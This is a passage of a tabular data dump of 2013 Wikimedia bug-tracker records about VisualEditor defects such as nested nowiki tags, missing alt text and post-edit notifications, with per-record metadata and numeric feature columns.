**Severity**: normal",Needs Triage,90.0,1372923600,1373637242.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-w3w62aq46ybywp76vzom,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,10.0,1.0,8.0,1.0,0.0,12.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,3.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,0.0,5.0,3.808219178082192,0.684931506849315,"This edit:

URL

is an example of a dirty diff where VisualEditor/Parsoid appears to have wrapped <nowiki> tags around existing <nowiki> content (in this case the ""|"" symbol in the title of a cited website) inside a template inside a reference.

--------------------------
**Version**: unspecified
**Severity**: normal"
231259,<nowiki> added to existing <nowiki> content,"

*** This bug has been marked as a duplicate of bug 50835 ***",,,1373637242,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-w3w62aq46ybywp76vzom,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50835 ***"
231256,<nowiki> added to existing <nowiki> content,"Other example:
http://en.wikipedia.org/w/index.php?title=Beximco&diff=562685500&oldid=562676888",,,1372955926,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-w3w62aq46ybywp76vzom,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,"Other example:
URL"
52709,VisualEditor: alt text?,"I can't seem to find a way to add alt text to images, which is pretty important from an accessibility POV. Any mechanism I'm missing?

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372897260,1372900959.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-xjgn5e55ct4mrwoaox2n,task_description,resolved,True,c1,3,False,False,True,0,,2.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,8.0,2.0,2.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,3.7708333333333335,0.75,"I can't seem to find a way to add alt text to images, which is pretty important from an accessibility POV. Any mechanism I'm missing?

--------------------------
**Version**: unspecified
**Severity**: normal"
255304,VisualEditor: alt text?,"

*** This bug has been marked as a duplicate of bug 38129 ***",,,1372900959,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xjgn5e55ct4mrwoaox2n,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 38129 ***"
52684,Template auto-filled with wikitext on edit,"This came from the VisualEditor feedback page in Hebrew. I couldn't replicate, but the problem is evident in this diff:

http://he.wikipedia.org/w/index.php?title=%D7%A2%D7%96%D7%99_%D7%90%D7%99%D7%96%D7%91%D7%99%D7%A6%D7%A7%D7%99&diff=14341709&oldid=14341704

The user only changed the link at line 20 (blue, left) but VE seemed to have injected a bunch of wikitext into the template box above.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372875720,1376511764.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-q6dmhbtud5dlan7xkm5f,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,1.0,0.0,4.0,9.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,12.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,9.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.84,0.7466666666666667,"This came from the VisualEditor feedback page in Hebrew. I couldn't replicate, but the problem is evident in this diff:

URL

The user only changed the link at line 20 (blue, left) but VE seemed to have injected a bunch of wikitext into the template box above.

--------------------------
**Version**: unspecified
**Severity**: normal"
253910,Template auto-filled with wikitext on edit,"After talking to gwicke, this seems to be a temporary bug either related to some caching problem or an issue that was resolved, since it cannot be replicated and a lot of other updates were done that fixed related problems.

Closed as likely fixed.",,,1376511764,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-q6dmhbtud5dlan7xkm5f,task_subcomment,,True,c1,3,False,,,6,,2.0,0.0,0.0,6.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,4.0,2.0,6.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,4.0,0.0,0.0,0.0,4.12,0.82,"After talking to gwicke, this seems to be a temporary bug either related to some caching problem or an issue that was resolved, since it cannot be replicated and a lot of other updates were done that fixed related problems.

Closed as likely fixed."
253904,Template auto-filled with wikitext on edit,"I couldnt reproduce it on
https://he.wikipedia.org/wiki/User:John_Vandenberg/test

I cant find any bug for visualeditor dumping in a subst:ed copy of a template.  Very strange.",,,1374460614,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q6dmhbtud5dlan7xkm5f,task_subcomment,,True,c1,3,False,,,3,,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,12.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.25,0.875,"I couldnt reproduce it on
URL

I cant find any bug for visualeditor dumping in a subst:ed copy of a template.  Very strange."
52675,VisualEditor: Inherited category becomes explicitly invoked,"This null edit to an article (https://en.wikipedia.org/w/index.php?title=List_of_Sam_%26_Cat_episodes&diff=562710419&oldid=562703260) made the category hidden inside of a template in use on the page (template in question: http://en.wikipedia.org/wiki/Template:Episode_list) visible in the editor. It should not be visible.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372869900,1385378094.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-ygke3aatutel76h64y5d,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.8214285714285716,0.6607142857142857,"This null edit to an article (URL made the category hidden inside of a template in use on the page (template in question: URL visible in the editor. It should not be visible.

--------------------------
**Version**: unspecified
**Severity**: normal"
253429,VisualEditor: Inherited category becomes explicitly invoked,This was a bug in DM/Parsoid interaction that we fixed months ago; apologies for the slowness of updating.,,,1385378094,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ygke3aatutel76h64y5d,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,5.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,9.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.045454545454546,1.0,This was a bug in DM/Parsoid interaction that we fixed months ago; apologies for the slowness of updating.
253424,VisualEditor: Inherited category becomes explicitly invoked,Another example: https://fr.wikipedia.org/w/index.php?diff=94601807,,,1374255950,,PHID-USER-z6nzrwuaij3spgyg23jt,True,,,PHID-TASK-ygke3aatutel76h64y5d,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Another example: URL
52653,Section 0 (lede) editing does not offer VisualEditor,"**Author:** `wikipedia`

**Description:**
Using the [edit] next to the lede (section=0) only allows invoking the source editor.

Ideally there should be consistency, and VE options should either be always shown, or never shown.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372847760,1372848396.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6tpy6ex557ljdilowdac,task_description,invalid,True,c1,3,False,False,True,0,,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,7.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,3.757142857142857,0.6285714285714286,"**Author:** CODE

**Description:**
Using the [edit] next to the lede (section=0) only allows invoking the source editor.

Ideally there should be consistency, and VE options should either be always shown, or never shown.

--------------------------
**Version**: unspecified
**Severity**: normal"
252191,Section 0 (lede) editing does not offer VisualEditor,"ve.init.mw.ViewPageTarget.prototype.setupSectionEditLinks in /modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js in mediawiki/extensions/VisualEditor.

(It's painful to look at.)",,,1372853500,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6tpy6ex557ljdilowdac,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,12.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.147058823529412,0.6764705882352942,"ve.init.mw.ViewPageTarget.prototype.setupSectionEditLinks in /modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js in mediawiki/extensions/VisualEditor.

(It's painful to look at.)"
252185,Section 0 (lede) editing does not offer VisualEditor,I recall the pertinent gerrit revision as being https://gerrit.wikimedia.org/r/#/c/69984/ which should give some pointers.,,,1372853464,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-6tpy6ex557ljdilowdac,task_subcomment,,True,c1,3,False,,,0,,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,13.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.733333333333333,1.0,I recall the pertinent gerrit revision as being URL which should give some pointers.
252179,Section 0 (lede) editing does not offer VisualEditor,Can someone point me to the code that is building the VE edit section links ?,,,1372853398,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-6tpy6ex557ljdilowdac,task_subcomment,,True,c1,3,True,,,0,,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,3.875,0.9375,Can someone point me to the code that is building the VE edit section links ?
252175,Section 0 (lede) editing does not offer VisualEditor,"**wikipedia** wrote:

Forwarded to:

  http://en.wikipedia.org/wiki/User_talk:TheDJ#edittop.js:_VisualEditor",,,1372848588,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6tpy6ex557ljdilowdac,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.076923076923077,0.6923076923076923,"**wikipedia** wrote:

Forwarded to:

  URL"
252170,Section 0 (lede) editing does not offer VisualEditor,"The gadgets are maintained by volunteer developers (in this case, TheDJ). It's the responsibility of gadget authors to ensure compatibility with MediaWiki, not the responsibility of MediaWiki developers to ensure compatibility with gadgets. We have ~700 projects, many of which will have their own gadgets; ensuring everything we deploy is always compatible with every one of them is to tie us into knots.",,,1372848358,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-6tpy6ex557ljdilowdac,task_subcomment,,True,c1,3,False,,,0,,3.0,1.0,0.0,1.0,1.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,18.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,8.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,8.0,18.0,4.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,4.698630136986301,0.7123287671232876,"The gadgets are maintained by volunteer developers (in this case, TheDJ). It's the responsibility of gadget authors to ensure compatibility with MediaWiki, not the responsibility of MediaWiki developers to ensure compatibility with gadgets. We have ~700 projects, many of which will have their own gadgets; ensuring everything we deploy is always compatible with every one of them is to tie us into knots."
252164,Section 0 (lede) editing does not offer VisualEditor,"**wikipedia** wrote:

As of 2013-07-03 11:42 BST, there were 22,009 accounts with gadgets-edittop enabled.",,,1372848234,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6tpy6ex557ljdilowdac,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.357142857142857,0.8214285714285714,"**wikipedia** wrote:

As of 2013-07-03 11:42 BST, there were 22,009 accounts with gadgets-edittop enabled."
52651,VisualEditor: image resizing causing implosion,"See https://en.wikipedia.org/wiki/File:Visual_Editor_-_Implosion_screenshot_for_bugreport.png - it only seems to appear if you have previously resized a different image.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372842180,1373578420.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-gpv7ztvo3m727pmopcq7,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7428571428571429,"See URL - it only seems to appear if you have previously resized a different image.

--------------------------
**Version**: unspecified
**Severity**: normal"
252074,VisualEditor: image resizing causing implosion,"[17:29] <Excirial> Could anyone mark bug 50651 as resolved? I think some new rollout fixed the issue since it no longer occurs (Ironholds reported it for me, so i cannot edit its status).
[17:30] <Technical_13> Resolved fixed?
[17:30] <Technical_13> !b 50651
[17:30] <wm-bot> https://bugzilla.wikimedia.org/50651
[17:30] <Excirial> Yes, confirmed that the problem no longer occurs.
[17:30] <Technical_13> Kk",,,1373578420,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-gpv7ztvo3m727pmopcq7,task_subcomment,,True,c1,3,False,,,1,,1.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,5.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,1.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,2.0,0.0,9.0,0.0,6.0,5.0,6.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,28.0,3.295918367346939,0.5816326530612245,"[17:29] <Excirial> Could anyone mark bug 50651 as resolved? I think some new rollout fixed the issue since it no longer occurs (Ironholds reported it for me, so i cannot edit its status).
[17:30] <Technical_13> Resolved fixed?
[17:30] <Technical_13> !b 50651
[17:30] <wm-bot> URL
[17:30] <Excirial> Yes, confirmed that the problem no longer occurs.
[17:30] <Technical_13> Kk"
52642,Unify post-edit notifications on Wikimedia wikis,"There are currently two similar, but distinct post-edit notifications on some Wikimedia wikis. I'll attach screenshots from <https://test.wikipedia.org> momentarily.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1372833600,1372834231.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-zr2hewhivqrgrbnvcapd,task_description,resolved,True,c1,3,False,False,True,0,,2.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.304347826086956,0.7608695652173914,"There are currently two similar, but distinct post-edit notifications on some Wikimedia wikis. I'll attach screenshots from <URL momentarily.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
251543,Unify post-edit notifications on Wikimedia wikis,"**swalling** wrote:

The current plan is to convert VE to use the same notification style as Extension:PostEdit previously did, now that it's been fully migrated to core (bug 48276)

%%%*** This bug has been marked as a duplicate of bug 39632 ***%%%",,,1372834231,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zr2hewhivqrgrbnvcapd,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,2.0,3.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,8.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,2.0,11.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.230769230769231,0.6615384615384615,"**swalling** wrote:

The current plan is to convert VE to use the same notification style as Extension:PostEdit previously did, now that it's been fully migrated to core (bug 48276)

%%%*** This bug has been marked as a duplicate of bug 39632 ***%%%"
251535,Unify post-edit notifications on Wikimedia wikis,"Created attachment 12739
Post-edit notification using wikitext (source) editor on test.wikipedia.org

**Attached**: {F11760}",,,1372833795,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-zr2hewhivqrgrbnvcapd,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.384615384615385,0.8846153846153846,"Created attachment 12739
